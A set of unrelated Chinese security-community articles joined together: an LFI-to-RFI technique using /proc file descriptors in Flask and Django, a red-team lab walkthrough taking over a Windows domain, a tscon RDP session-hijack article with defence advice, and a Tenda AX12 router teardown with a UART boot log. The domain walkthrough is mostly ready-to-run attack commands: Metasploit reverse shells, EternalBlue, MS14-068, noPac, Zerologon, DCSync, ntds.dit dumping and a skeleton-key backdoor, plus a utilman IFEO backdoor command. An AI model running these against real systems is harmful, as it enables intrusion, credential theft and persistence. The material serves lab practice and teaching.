@app.route("/", methods=["GET"])
def show_me_the_money():
x = request
import code
code.interact(local=locals())
if __name__ == "__main__":
app.run()
在这个应用程序中，我们有一个单一的处理程序，该处理程序允许在URL上挂载HTTP GET请求。然后我们在Ubuntu VM中运行这个程序，并通过HTTP
GET请求将文件上传到该服务器上。对于以前没有使用过 **import code** 技巧的人来说，这是一个很好的方法来调试Python代码和库，因为在
**code.interact** 被调用时你将进入到python的REPL环境中去。
以下是通过HTTP GET请求上传文件的简单脚本：
# -*- coding: utf-8 -*- import requests
response = requests.get(
"http://127.0.0.1:5000/",
files={
"upload_file": open("/tmp/hullo", "rb"),
},
)
而在 **/tmp/hullo** 的文件中，我们可以看到很多的“Hello World”：
然后，我们首先运行服务器，之后上传文件，并进入Flask请求处理程序上下文中的python REPL环境，具体如下图所示：
通过使用请求处理程序的PID，我们可以查看到磁盘上打开的文件描述符：
然后我们返回到REPL并访问上传的文件：
现在该文件已经在Web服务器中被访问过了，此刻我们回到 **/proc** 目录，看看是否可以找到上传文件的内容：
果然，我们找到了上传的文件！因此，对于我们正在评估的Web应用程序来说，我们确认通过这种上传和引用文件的方法可以正常访问到我们驻留在Web服务器中的JAR包文件！
我们可以通过 **多次上传相同的文件** 来进一步减少文件路径搜索空间，因此我修改了文件上传的代码使得可以上传相同的九个文件：
# -*- coding: utf-8 -*- import requests
response = requests.get(
"http://127.0.0.1:5000/",
files={
"upload_file": open("/tmp/hullo", "rb"),
"upload_file2": open("/tmp/hullo", "rb"),
"upload_file3": open("/tmp/hullo", "rb"),
"upload_file4": open("/tmp/hullo", "rb"),
"upload_file5": open("/tmp/hullo", "rb"),
"upload_file6": open("/tmp/hullo", "rb"),
"upload_file7": open("/tmp/hullo", "rb"),
"upload_file8": open("/tmp/hullo", "rb"),
},
)
运行此脚本后，访问处理程序中的 **FILES** 字典，并查看请求处理程序PID目录中的 **fd**
目录内容，我们看到所有上传的文件都有打开的文件描述符：
因此，通过使用这种方法，我们可以保证具有特定号码的文件描述符终将会指向我们上传的文件。如果我们提交100个上传文件的请求，可能文件描述符50指向的就是我们的文件！反过来，我们现在需要猜测的唯一值就是PID。
**如何实施攻击利用？**
总而言之，为了引用上传文件以达到攻击的目的，这是一种大大减少搜索空间的方法，这在许多情况下可以使LFI成为RFI。如果你要使用此方法进行攻击利用，请考虑以下事项：
通过我们对多个Web框架（Django和Flask）的分析发现，当访问FILE字典时框架会 **延迟加载** 文件引用。因此，我们必须定位
**访问FILES字典的** 请求处理程序 。一旦请求处理程序访问了FILES字典，文件描述符将在请求处理期间一直保持打开状态。
默认情况下，其他框架可能会填充这些文件描述符，而这正是我们下一步将要研究的内容。
当处理请求体中上传的文件时，有些框架不区分不同的请求方式，这在一定程度上说明这种攻击方法不仅限于非幂等的HTTP verbs。
PID并不意味着随机化。无论我们的目标是什么（Ubuntu上的Apache，Fedora上的Nginx等），如果我们希望将其转化为漏洞，那么我们可以创建一个本地设置，并查看与Web服务器和请求处理程序相关联的PID。一般来说，当我们将服务安装到*nix时，它们将在机器重新启动时以类似的顺序启动。由于PID也按顺序分配，这意味着我们可以大大减少PID搜索空间。
请求处理程序需要访问 **所有要处理的上传文件** 的FILES字典
。这就是说，如果处理程序中的功能期望上传的文件是PDF，以执行请求处理程序的中代码，而此时我们也准备上传一个JAR包文件，那么只要同时上传这两个文件即可，它们都将被赋予文件描述符。
尝试找到加载文件描述符的请求处理程序，为了我们的代码审计工作能够顺利进行，我们发现有一个处理程序会逐行处理一个文件的全部内容，所以我们上传了一个巨大的文件，该巨大的文件中当然也包含了我们想要执行的JAR包文件。
请注意，如果您上传的文件较小，则可能只读入内存，并且不会打开任何文件描述符。当对Flask
Web框架进行测试时，我们发现1MB以下的文件会被直接加载到内存中，而1MB以上的文件则放在磁盘上。因此，我们需要在JAR包文件中额外填充任何可供攻击利用的有效载荷。
**后续更新**
后续我们对多个框架缓慢加载文件描述符这一问题进行了深入的研究和分析。最后我们发现对于Flask和Django来说，并不是FILES 被缓慢加载，而是
**请求体的内容只有在被访问时才会被处理**
。因此，根据这个结论我们可以轻松定位那些访问HTTP请求体数据的任何请求处理程序。一旦请求处理程序访问了包含在请求体中的数据，文件描述符就会被填充。
Django框架中访问请求体数据代码如下所示：
通过此访问请求填充的文件描述符如下所示：
Flask Web框架中访问请求体数据的代码如下所示：
通过此访问请求填充的文件描述符如下所示： | 社区文章 |
### 前言：
本套靶场来源于渗透攻击红队，
### 环境：
##### webloginc主机：
公网地址：192.168.2.11
内网地址：10.10.20.12
##### 个人域主机：（redteam.com/）
网卡1：10.10.20.7
网卡2：10.10.10.7（域网段）
##### sqlserver主机：（redteam/sqlserver-2008）
设置了非约束委派和约束委派
10.10.10.18
##### 域控主机：（redteam/owa）
10.10.10.8
### getshell：
先对目标进行端口扫描：
开放7001端口，进行访问
典型的weblgic组件特征，直接利用工具扫描，存在漏洞
目标主机出网
### 上传木马：
这里并没有直接上线，而是上传一个jsp木马来做一个权限维持，接下来寻找网站的根目录。
访问weblogic的默认登陆路径：
http://192.168.2.11:7001/console/login/LoginForm.jsp
右键F12随便查看一张图片的路径
接下来只要找到该图片所在路径就能间接找出网站根目录：
dir C:\ /s /b | find "login_WebLogic_branding.png"
成功找到图片路径：
C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\login_WebLogic_branding.png
接下来在该目录下上传马子即可：
冰蝎连接
### 上线weblogic主机和个人域主机：
当前网段存在一个公网网卡和另一张内网网卡10.10.20.12
利用nbtscan简单扫一下当前的网段：
nbtscan.exe 10.10.20.12/24
存在另一台主机10.10.20.7,利用fscan扫一下，看看是否存在ms17010
fscan.exe -h 10.10.20.12/24 -m ms17010
显然存在ms17010
上线msf吧，打ms17010方便一点，代理也方便
先做一个frp穿透
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.118.129
set lport 1132
run
接下来目的明确，打永恒之蓝，这里我就不用msf自带的模块打了，我用python脚本来打这个漏洞，msf这个有一定的缺陷，不是很好。
添加路由：
run autoroute -s 10.10.20.12/24
run autoroute -p
##### 第一层流量代理：
use auxiliary/server/socks_proxy
set version 4a
set srvhost 192.168.118.129
set srvport 10011
run
在proxychains配置好代理：
我们利用这个项目来打ms17010
https://github.com/TolgaSEZER/EternalPulse
在攻击机上配置好刚才的代理：
Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 目标IP --TargetPort 445
Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 10.10.20.7 --TargetPort 445
直接64位，msf生成相应的payload（正向）：
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1125 -f dll -o bind.dll
利用脚本打过去：
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 目标ip --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload dll地址 --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60
直接打成功了。
为什么用这个脚本打，因为他在实战中成功率比较高，而且集成32，64位，打习惯了就知道她确实好用。
##### 域内信息收集：
net group "Domain Controllers" /domain ##查询域控制器
域控地址为10.10.10.8
##### 第二层代理：
接下来再将10.10.10.7的这台机器流量代理出来：
添加路由：
run autoroute -s 10.10.10.7/24
run autoroute -p
流量代理：
use auxiliary/server/socks_proxy
set version 4a
set srvhost 192.168.118.129
set srvport 10086
run
接下来在proxychains做好二级代理：
这样就能在本地直接与域控进行通信了：
### 打域控：
##### 上线到cs:
打域控之前先将这两台主机上线cs，因为后面都会将主机上线cs，这样显得好看：
先上线weblogic主机，用这个当跳板机上线域内个人主机：
接下来利用这个主机进行转发上线域内个人主机：
生成一个马子，利用msf上传并运行：成功上线：
##### GPP组策略漏洞：
利用msf来进行利用：
use windows/gather/credentials/gpp
set session 2
run
成功获取到一个域用户的密码，后期这个密码可以用来作为一个字典。
##### ms14-68：
生成票据：
proxychains python2 ms14_068.py -u [email protected] --rc4 e90127c07127ed12f4ebf668acca53e9:518b98ad4178a53695dc997aa02d455c -s S-1-5-21-1359007890-1682372173-1631803504-1135
在当前目录下生成一张票据：
将票据上传到域用户主机利用mimikatz进行注入
mimikatz kerberos::ptc [email protected]
注入成功，访问域控，我这里直接访问10.10.10.8访问失败，但是访问OWA可以成功。
我们既然与域控建立了联系，接下来直接上线域控：
老规矩，先利用域用户主机做个代理转发
自己配置目标信息，注意这里地址不要写ip地址，写域控名称
以该会话来直接上线域控
成功上线域控。
##### cve2021-42287：
proxychains python3 noPac.py -hashes 00000000000000000000000000000000:518b98ad4178a53695dc997aa02d455c "redteam.red/saul" -dc-ip 10.10.10.8 -dc-host OWA --impersonate administrator -dump -use-ldap
成功获取到域控管理员hash密码，可以直接利用改密码连接域控
##### cve-2021-1675：
ps：这个方法我失败了，不过这也是一个很不错的方法，故也记录一下。
检测是否存在漏洞：
proxychains python3 rpcdump.py @10.10.10.8 | egrep 'MS-RPRN|MS-PAR'
这里显示是存在的，接下来利用脚本去打，打之前先启动一个smb服务，我们这里只能在个人域用户这个机器上去启动，网上有相应的脚本，但是我没成功，我这里是一条一条打的。
net user guest /active:yes
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d smb /f
secedit /export /cfg gp.inf /quiet
修改文件gp.inf，将SeDenyNetworkLogonRight = Guest修改为SeDenyNetworkLogonRight =，保存
secedit /configure /db gp.sdb /cfg gp.inf /quiet
gpupdate /force
icacls C:\share\ /T /grant Everyone:r
net share share=c:\share /grant:everyone,full
按照上面步骤来启动smb是ok的，我也验证了一下，确实可以：
接下来cs生成dll文件，利用mimikatz打过去：
mimikatz.exe misc::printnightmare /library:misc::printnightmare /library:\\10.10.10.7\share\bind.dll /server:10.10.10.8 /authuser:saul /authdomain:redteam.red /authpassword:admin!@#45
这里失败了，没有上线：
利用脚本打：
proxychains python3 CVE-2021-1675.py redteam/saul:admin\!@#[email protected] '\\192.168.232.130\smb\rever.dll'
也失败了：就很无语
##### cve2020-1472：
检查是否存在漏洞并置空
mimikatz.exe "lsadump::zerologon /target:10.10.10.8 /account:OWA$" "exit"
mimikatz.exe "lsadump::zerologon /target:10.10.10.8 /account:OWA$ /exploit" "exit"
空密码连接域控：
proxychains python3 secretsdump.py "redteam.red/OWA$"@10.10.10.8 -no-pass
获取到域控管理员hash
接下来连接域控到处注册表的值：
proxychains wmiexec.py -hahses hash密码 "redteam/administrator"@10.10.10.8
reg save hklm\sam sam.save
reg save hklm\system system.save
reg save hklm\security security.save
lget security.save
lget system.save
lget sam.save
del sam.save
del system.save
del security.save
导出$MACHINE.ACC值：
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
下面忘了截图了，
恢复密码：
python3 reinstall_original_pw.py OWA 10.10.10.8 1235c5b0e62d03dffeff03b2c9ec5f62
##### 约束委派：
# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
sqlserver被设置了约束委派用户
ps：这里的sqlserver机器出问题了，并没有sqlserver服务开放，所以换一种思路来获取sqlserver的权限
我们在前面通过GPP漏洞获取到了一个Admin12345密码，在加上其他机器的密码，我们来做一个横向攻击：
mima.txt
Admin12345
admin!@#45
利用fscan：
shell fscan.exe -h 10.10.10.8/24 -m smb -user administrator -pwdf mm.txt
成功获取到了18这台机器的管理员密码，接下来直接上线就行了：
我们抓取密码：获取到了一部分密码：
###### 方法一：
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:YUkong.kirbi" "exit"
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa.redteam.red" "exit"
mimikatz "kerberos::ptt [email protected]@[email protected]" "exit"
###### 方法二：
到处机器账户的hash：
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# 请求票据
kekeo.exe "tgt::ask /user:sqlserver-2008$ /domain:redteam.red /NTLM:6063d4e2707f0f43249c8b1655138633
" "exit"
# 申请administrator权限的票据
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa.redteam.red" "exit"
# mimikatz
mimikatz.exe "kerberos::ptt [email protected]@[email protected]" "exit"
# 访问
dir \\owa.redteam.red\c$
### 获取密码：
##### 收集域内DNS信息：
proxychains python3 dnsdump.py -u "REDTEAM\saul" -p 00000000000000000000000000000000:518b98ad4178a53695dc997aa02d455c -d 10.10.10.8 -r
##### dump域内所有hash：
在域控上面执行以下操作：
###### mimikatz：
shell mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.red /all /csv" "exit"
###### 导出ntds.dit文件：
#创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
#加载快照
shell ntdsutil snapshot "mount {e1122719-433f-4d20-88e7-336954dcc21a}" quit quit
#Copy文件副本
shell copy C:\$SNAP_202301241547_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
在C:目录下生成ntds.dit文件
#导出system文件
reg save hklm\system c:\system.hive
ntdsd.exe -d ntds.dit -s system.hive -o hash.txt
###### 删除快照：
ntdsutil snapshot "unmount {30144165-7f1b-4732-b93f-f1567c6e3975}" "delete {30144165-7f1b-4732-b93f-f1567c6e3975}" quit quit
###### 直接利用脚本导出：
proxychains python3 secretsdump.py redteam.red/administrator:[email protected] -just-dc-ntlm
### 权限维持：
最常见的就是黄金，白银票据，这里就用mimiatz的哇能密码来做一个权限维持吧：
mimikatz privilege::debug
mimikatz misc::skeleton
这样于内任意主机都可以与域控建立ipc连接，密码是mimikatz。
### 结尾：
本套靶场难度中规中矩，里面还有其他方法可以尝试，例如exchange，约束委派等都可以尝试一遍，主要目的是练习并熟悉拿域控的常用方法以及拿到之后的权限维持等。
最后在这里感谢渗透攻击红队所提供的靶场。
也欢迎大家关注本人的公众号，经常更新一些实战文章。 | 社区文章 |
## 0x00 前言
Windows系统下，tscon可被用来切换远程桌面的会话。正常情况下，切换会话时需要提供登录密码，但通过特殊的利用方法能够绕过验证，不输入密码实现未授权登录。
这会造成什么影响呢？这个方法能用在哪种条件下呢？结合利用方法又该如何防御呢？本文将要一一介绍
**注：**
本文使用tscon未授权登录的思路借鉴于如下链接:
<https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6>
## 0x01 简介
本文将要介绍以下内容：
* ·tscon的正常用法
* ·利用tscon实现未授权登录远程桌面的方法
* ·应用实例
* ·防御建议
## 0x02 tscon的正常用法
对于开启远程桌面服务的Windows系统，当有多个用户登录该系统时，会产生多个会话，如下图
测试系统： Server2012 R2
用户Administrator为本地登录
用户b为通过远程桌面服务(RDP)连接3389端口远程登录
接下来，如果用户Administrator想要切换至用户b的远程桌面，可通过右键-Connect进行连接，接着输入密码即可
如下图
tscon是命令行下使用的工具，可实现相同的功能
首先获取用户对应的sessionid，执行如下命令：
query user
输出如下图
用户b对应的sessionid为2
通过tscon切换至用户b的桌面，命令如下：
tscon 2 /PASSWORD:test123!
## 0x03 利用tscon实现未授权登录远程桌面的方法
在System权限执行同样的命令，就能够绕过输入密码的过程，直接切换
从Admin权限切换到System权限的方法在之前的文章《[渗透技巧——从Admin权限切换到System权限](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E4%BB%8EAdmin%E6%9D%83%E9%99%90%E5%88%87%E6%8D%A2%E5%88%B0System%E6%9D%83%E9%99%90/
"渗透技巧——从Admin权限切换到System权限")》有过详细介绍，常用方法有如下三种：
* ·通过创建服务获得System权限
* ·利用MSIExec获得System权限
* ·利用token复制获得System权限
选取其中的一种，获得system权限，接着输入如下命令：
tscon 2
成功登录
## 0x04 应用实例一
对于Server2012
R2系统，默认情况下，通过mimikatz无法导出明文口令，测试环境下，通过某些方法获得了服务器的一个用户名密码，可以通过远程桌面进行登录
登录后发现后台存在另一用户
由于未导出明文口令，通过常规方法无法切换至另一用户的桌面
这里就可以借助上文提到的方法，先提权至System权限，再切换过去
**特别的地方：**
当用户通过远程桌面登录后，直接点击关闭断开连接，如下图
此时该会话并没有结束，后台显示Disconnected，如下图
此时，仍能在system权限下通过tscon实现未授权连接
## 0x05 应用实例二
利用辅助工具管理器后门(放大镜后门原理相同，进程为sethc.exe)绕过系统登录界面
进程： utilman.exe
登录界面可通过点击图标对其调用，如下图
调用辅助工具管理器的快捷键: Win+U
通过注册表劫持实现后门，修改注册表的命令如下：
`REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\utilman.exe" /t REG_SZ /v Debugger /d
"C:\windows\system32\cmd.exe" /f`
在登录界面启动辅助工具管理器，弹出cmd.exe，权限为system，如下图
渗透技巧——利用tscon实现未授权登录远程桌面
通过tscon可直接切换至目标用户的桌面
**补充：**
在登录界面状态下，降权方法受限，SelectMyParent和Invoke-TokenManipulation.ps1均报错
使用incognito能够成功降权，但是操作仍受限，如下图
**注：**
SelectMyParent、Invoke-TokenManipulation.ps1和incognito的使用说明可参考文章《[渗透技巧-Token窃取与利用](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/
"渗透技巧-Token窃取与利用")》
无法对目标用户桌面进行截屏，截屏的powershell代码可参考：
<https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8>
**受限的原因：**
登录界面下，虽然是system权限，但是此时的进程均是winlogon的子进程
如下图
**绕过思路：**
利用WMI做中转，通过WMI启动进程，默认父进程为svchost.exe->WmiPrvSE.exe
命令如下：
wmic process call create commandline = "powershell -ep bypass -f c:\test\system4.ps1"
system4.ps1的内容来自于Invoke-TokenManipulation.ps1，以用户win-eq8jfsr081d\b的权限执行脚本，具体参数为：
Invoke-TokenManipulation -CreateProcess "c:\test\task.bat" -Username "in-eq8jfsr081d\b"
task.bat的功能为输出环境变量到task.txt中，具体参数为：
set >>c:\test\task.txt
执行如下图
查看task.txt的内容，判断环境变量，成功降权，如下图
通过这种方式，可以分别降权至High和Medium权限，如下图
## 0x06 防御建议
建议用户使用注销用户的方式断开远程桌面，注销后，无法通过tscon获得桌面会话
监控系统用户的登录日志，攻击者需要先远程登录系统后才能做进一步利用：未授权切换桌面会话
对于Windows系统，虽然新版本(包括server
2012等)无法在远程登录界面中调用放大镜和辅助工具管理器，但需要注意攻击者如果获得了系统的物理访问权限，能够利用放大镜和辅助工具管理器后门实现未授权登录
## 0x07 小结
本文介绍了利用tscon实现未授权登录远程桌面的方法，站在攻击者的角度，分析利用思路，最后站在防御的角度，结合攻击方法，给出防御建议。
> 本文为 3gstudent 原创稿件， 授权嘶吼独家发布，如若转载，请联系嘶吼编辑：
> <http://www.4hou.com/penetration/10015.html> | 社区文章 |
# Tenda AX12 路由器设备分析（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
首先感谢Tenda 提供的对Tenda AX12 路由器的测评资格和提供的路由器设备。
今天这篇文章就来讲述如何对路由器设备进行设备分析，以及在分析设备过程中要注意的点，在Tenda设备上的UART串口中获取shell。
## 0x02 Tenda AX12 硬件分析
Tenda AX12 路由器是我们的第一个目标，Tenda AX12
从外观上看，塑料的外壳透露着金属的质感，中间的金黄色log在灯光下非常好看，而且这款路由器的外壳特别坚硬，在使用过程中应该不容易被一些东西砸到而产生变形，影响外观，整体设备有四根天线，根据设备的官方说明，设备支持5G和2.4G的WiFi信号。从外观上看，还看不出来设备有几根5G
的天线。需要将设备拆下来。并且设备的LED状态灯只有一个，不像以前的路由器，有专门WiFi、LAN口、WAN口、和电源的状态信号灯。
这一款Tenda设备拆卸开还是很轻松，背部只有两颗梅花螺丝，使用螺丝刀套装拧开螺丝，接着用塑料卡片一点一点的从边缘撬开，把顶上的塑料盖拿下来之后，这个时候就可以看到设备开发板，我移除了最外面的散热器，还有金属屏蔽层没有拆下来，从开发板上可以看到最右侧貌似是一个串口，然后是SOP8
flash
芯片，这边还看不清除具体是什么型号，并且在开发板上看到两个WiFi的芯片组，分别有2，4G和5G，并且每一个WiFi天线分别配备一个WiFi芯片，感觉WiFi的信号稳定性应该很不错。
用螺丝刀将芯片上的金属屏蔽层打开，打开金属屏蔽层有一个小窍门，要从屏蔽层的边缘，可以看到一个小缝隙，用扁头螺丝刀轻轻网上翘即可，撬开之后用棉签蘸点洗板水清洁一下芯片，这样能更清除的看清楚芯片型号，或者轻微的将台灯的灯光侧向一方，能看的更清楚，由于手机的渣像素，拍的依旧还是不清楚。
1 号芯片：S0374L87 SLN23
2 号芯片：S0393N23 SLMQ3
3号芯片：winbond 25Q128JVSQ 2104
2号芯片下面的芯片：ESMT M15T1G1664A
最右边的串口在板子上标注依次是 “3v3”,”OUT”,”IN”,”GND”，根据以往的路由器串口，大体上可以猜测出这是开发板上提供调试的UART
串口。那么根据UART 串口对引脚的定义，从上到下依次应该是 “VCC”、”TXD“、”RXD“、”GND“
智能设备的固件存在一般flash里，flash没有保护固件被非法读取的措施。现在大多数设备的FLASH和RAM、CPU分别独立,这样是特别容易被提取固件的，拆下FLASH用编程器直接能读到flash里面的内容了。如果FLASH和RAM集成在CPU上，并且开启了加密的话这样就会比较难提取固件，也使设备更加安全。
这里主要关心的是winbond 25Q128JVSQ 2104
芯片，在识别出了芯片型号，可以在搜索引擎中输入芯片型号，可以下载设备的datasheet（芯片数据手册）。芯片在winbond
华邦的官网中可以找到芯片的datasheet。
固件存在flash里，flash没有保护固件被非法读取的措施。现在大多数设备的FLASH和RAM、CPU分别独立,这样是特别容易被提取固件的，拆下FLASH用编程器直接能读到flash里面的内容了。如果FLASH和RAM集成在CPU上，并且开启了加密的话这样就会比较难提取固件，也使设备更加安全
根据datasheet 手册的信息，可以了解到winbond 25Q128JVSQ 芯片是一款25系列的SPI flash 芯片,并且是128mbit
内存。
下图是芯片的引脚定义，这一部分在提取flash芯片内的固件会用到。
## 0x03 UART 接入
由于在路由器板子上看到的疑似UART串口。使用FT232 接入设备，TXD —> IN，RXD —> OUT，GND —> GND
。由于手头上没有逻辑逻辑分析仪，波特率用常用的115200来尝试。打开SecureCRT ，设备通电。看到设备的启动的log信息，这里放出一部分的UART
log信息。
根据log信息中的line 20看到，按ESC可以终端boot的自启。在line 67 的 Kernel command line
值可以了解到设备的固件文件类型是squash，设备的波特率是115200，和内核初始化的一些参数。在line 89
可以看到不同的分区所在的偏移区间，根据这些信息，可以从固件中提取指定偏移区间内的文件信息，比如可以提取
0x000000300000-0x000000f00000 偏移地址区间内的rootfs 文件系统。
U-Boot 2016.07-INTEL-v-3.1.177 (Nov 25 2020 - 09:48:15 +0000)
interAptiv
cps cpu/ddr run in 800/666 Mhz
DRAM: 224 MiB
manuf ef, jedec 4018, ext_jedec 0000
SF: Detected W25Q128BV with page size 256 Bytes, erase size 64 KiB, total 16 MiB
*** Warning - Tenda Environment, using default environment
env size:8187, crc:d89b57c5 need d89b57c5
In: serial
Out: serial
Err: serial
Net: multi type
Internal phy firmware version: 0x8548
GRX500-Switch
Type run flash_nfs to mount root filesystem over NFS
Hit ESC to stop autoboot: 0
Wait for upgrade... use GRX500-Switch
tenda upgrade timeout.
manuf ef, jedec 4018, ext_jedec 0000
SF: Detected W25Q128BV with page size 256 Bytes, erase size 64 KiB, total 16 MiB
device 0 offset 0x100000, size 0x200000
SF: 2097152 bytes @ 0x100000 Read: OK
## Booting kernel from Legacy Image at 80800000 ...
Image Name: MIPS UGW Linux-4.9.206
Created: 2020-11-18 5:39:29 UTC
Image Type: MIPS Linux Kernel Image (lzma compressed)
Data Size: 2079952 Bytes = 2 MiB
Load Address: a0020000
Entry Point: a0020000
Verifying Checksum ... OK
Uncompressing Kernel Image ... OK
[ 0.000000] Linux version 4.9.206 (root@ubt1-virtual-machine) (gcc version 8.3.0 (OpenWrt GCC 8.3.0 v19.07.1_intel) ) #0 SMP Fri Nov 13 09:14:24 UTC 2020
[ 0.000000] SoC: GRX500 rev 1.2
[ 0.000000] CPU0 revision is: 0001a120 (MIPS interAptiv (multi))
[ 0.000000] Enhanced Virtual Addressing (EVA 1GB) activated
[ 0.000000] MIPS: machine is EASY350 ANYWAN (GRX350) Main model
[ 0.000000] Coherence Manager IOCU detected
[ 0.000000] Hardware DMA cache coherency disabled
[ 0.000000] earlycon: lantiq0 at MMIO 0x16600000 (options '')
[ 0.000000] bootconsole [lantiq0] enabled
[ 0.000000] User-defined physical RAM map:
[ 0.000000] memory: 08000000 @ 20000000 (usable)
[ 0.000000] Determined physical RAM map:
[ 0.000000] memory: 08000000 @ 20000000 (usable)
[ 0.000000] memory: 00007fa4 @ 206d5450 (reserved)
[ 0.000000] Initrd not found or empty - disabling initrd
[ 0.000000] cma: Reserved 32 MiB at 0x25c00000
[ 0.000000] SMPCMP: CPU0: cmp_smp_setup
[ 0.000000] VPE topology {2,2} total 4
[ 0.000000] Detected 3 available secondary CPU(s)
[ 0.000000] Primary instruction cache 32kB, VIPT, 4-way, linesize 32 bytes.
[ 0.000000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes
[ 0.000000] MIPS secondary cache 256kB, 8-way, linesize 32 bytes.
[ 0.000000] Zone ranges:
[ 0.000000] DMA [mem 0x0000000020000000-0x0000000027ffffff]
[ 0.000000] Normal empty
[ 0.000000] Movable zone start for each node
[ 0.000000] Early memory node ranges
[ 0.000000] node 0: [mem 0x0000000020000000-0x0000000027ffffff]
[ 0.000000] Initmem setup node 0 [mem 0x0000000020000000-0x0000000027ffffff]
[ 0.000000] percpu: Embedded 12 pages/cpu s17488 r8192 d23472 u49152
[ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 32480
[ 0.000000] Kernel command line: earlycon=lantiq,0x16600000 nr_cpus=4 nocoherentio clk_ignore_unused root=/dev/mtdblock6 rw rootfstype=squashfs do_overlay console=ttyLTQ0,115200 ethaddr=CC:2D:21:EE:D9:F0 panic=1 mtdparts=spi32766.1:512k(uboot),128k(ubootconfigA),128k(ubootconfigB),256k(calibration),2m(kernel),12m(rootfs),-(res) init=/etc/preinit active_bank= update_chk= maxcpus=4 pci=pcie_bus_perf ethwan= ubootver= mem=128M@512M
[ 0.000000] PID hash table entries: 512 (order: -1, 2048 bytes)
[ 0.000000] Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
[ 0.000000] Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
[ 0.000000] Writing ErrCtl register=00000000
[ 0.000000] Readback ErrCtl register=00000000
[ 0.000000] Memory: 87656K/131072K available (5087K kernel code, 294K rwdata, 1264K rodata, 1276K init, 961K bss, 10648K reserved, 32768K cma-reserved)
[ 0.000000] SLUB: HWalign=32, Order=0-3, MinObjects=0, CPUs=4, Nodes=1
[ 0.000000] Hierarchical RCU implementation.
[ 0.000000] NR_IRQS:527
[ 0.000000] EIC is off
[ 0.000000] VINT is on
[ 0.000000] CPU Clock: 800000000Hz mips_hpt_frequency 400000000Hz
[ 0.000000] clocksource: gptc: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 9556302233 ns
[ 0.000010] sched_clock: 32 bits at 200MHz, resolution 5ns, wraps every 10737418237ns
[ 0.008266] Calibrating delay loop... 531.66 BogoMIPS (lpj=2658304)
[ 0.069297] pid_max: default: 32768 minimum: 301
[ 0.074090] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)
[ 0.080515] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)
[ 0.089026] CCA is coherent, multi-core is fine
[ 0.098050] [vmb_cpu_alloc]:[645] CPU vpet.cpu_status = 11
...
[ 2.636153] 7 cmdlinepart partitions found on MTD device spi32766.1
[ 2.641030] Creating 7 MTD partitions on "spi32766.1":
[ 2.646216] 0x000000000000-0x000000080000 : "uboot"
[ 2.652273] 0x000000080000-0x0000000a0000 : "ubootconfigA"
[ 2.657866] 0x0000000a0000-0x0000000c0000 : "ubootconfigB"
[ 2.663350] 0x0000000c0000-0x000000100000 : "calibration"
[ 2.668827] 0x000000100000-0x000000300000 : "kernel"
[ 2.673587] 0x000000300000-0x000000f00000 : "rootfs"
[ 2.678642] mtd: device 6 (rootfs) set to be root filesystem
[ 2.683251] 1 squashfs-split partitions found on MTD device rootfs
[ 2.689144] 0x000000d00000-0x000001000000 : "rootfs_data"
[ 2.695934] 0x000000f00000-0x000001000000 : "res"
[ 2.700477] Lantiq SoC SPI controller rev 9 (TXFS 32, RXFS 32, DMA 1)
[ 2.717456] libphy: Fixed MDIO Bus: probed
[ 2.726334] libphy: gswitch_mdio: probed
[ 2.732619] libphy: gswitch_mdio: probed
[ 2.736683] lro_sram_membase_res0 from DT: a2013000
当设备完全启动后，很遗憾的是设备UART
接入设置了登录口令，并且尝试了一众弱口令都没有成功，不得不说，tenda设备的安全性还是很到位的，我分析的其他tenda设备UART 串口都有登录设置。
## 0x04 设备固件获取
由于无法获取到设备的UART
shell，我开始考虑从芯片中获取固件，这里我犯了一个经验性的失误，因为以前分析过一些Tenda的设备，比较新的固件是识别不出来，解不开，并且以前提取Tenda
F6设备flash 芯片中的固件时，使用飞线来提取，但是芯片有过电保护，无法正常提取固件，于是这一款设备我直接没有考虑从官网下载固件，而是把flash
芯片拆卸下来读取固件。
由于手头上没有热风枪，所以没办法直接把flash 芯片直接吹下来，所以采用电洛铁滴锡的方法来拆解Flash芯片进行固件读取。
